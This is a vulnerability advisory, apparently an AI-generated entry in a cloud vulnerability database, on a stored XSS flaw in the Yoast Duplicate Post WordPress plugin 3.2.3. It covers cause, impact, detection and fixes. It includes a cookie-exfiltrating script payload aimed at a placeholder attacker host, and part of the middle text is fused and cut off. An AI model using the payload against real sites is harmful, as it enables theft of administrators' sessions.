
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2019-25314 is a persistent (stored) cross-site scripting (XSS) vulnerability in the Yoast Duplicate Post WordPress plugin version 3.2.3. It allows authenticated attackers with high privileges to inject malicious JavaScript into plugin settings fields — specifically the title prefix, suffix, menu order, and blacklist fields — which then executes in the admin interface for any user who views those settings. The vulnerability was published on February 11, 2026, and carries a CVSS v3.1 base score of 5.5 (Medium) (Feedly, Vulners).
The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), where the plugin fails to sanitize or encode data entered into settings fields before storing and rendering it in the WordPress admin interface. An attacker with administrator-level access can submit crafted payloads (e.g., <script>alert(1)</script>) into the title prefix, suffix, menu order, or blacklist configuration fields. Because the input is stored in the database and reflected back without escaping, any admin user who subsequently loads the settings page will trigger execution of the injected script. No public proof-of-concept code has been identified beyond the technical write-up published by Infinit Security (Infinit Security).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the WordPress admin interface, potentially affecting all administrator users who visit the compromised settings page. This can lead to session token theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and limited confidentiality and integrity impacts on the affected WordPress installation. Availability is not directly impacted (Feedly).
Exploitation requires high-privilege (administrator-level) authenticated access to the WordPress admin panel, significantly limiting the attack surface. The EPSS score is 0.03%, indicating a very low probability of active exploitation in the wild. No evidence of in-the-wild exploitation, threat actor attribution, exploit kit inclusion, or CISA KEV catalog listing has been identified for this CVE (Feedly, Vulners).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into one of the vulnerable fields: title prefix, title suffix, menu order, or blacklist./wp-admin/options-general.php?page=duplicatepost) containing script tags or encoded JavaScript in form parameters.<script> tags or JavaScript URIs stored in the wp_options table under Duplicate Post plugin option keys (e.g., duplicate_post_title_prefix, duplicate_post_title_suffix, duplicate_post_blacklist).Users should upgrade the Yoast Duplicate Post plugin to a version newer than 3.2.3, which contains the fix for this vulnerability. As a workaround, restrict access to the WordPress admin panel to trusted IP addresses and enforce the principle of least privilege by limiting the number of administrator accounts. Regularly audit plugin settings for unexpected or suspicious content (Sucuri Blog).
Sucuri included CVE-2019-25314 in their February 2026 vulnerability patch roundup, noting it as part of a broader set of WordPress plugin vulnerabilities requiring attention (Sucuri Blog). Infinit Security published a dedicated technical write-up detailing the affected fields and exploitation mechanics (Infinit Security). No significant broader community or social media discussion has been identified.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."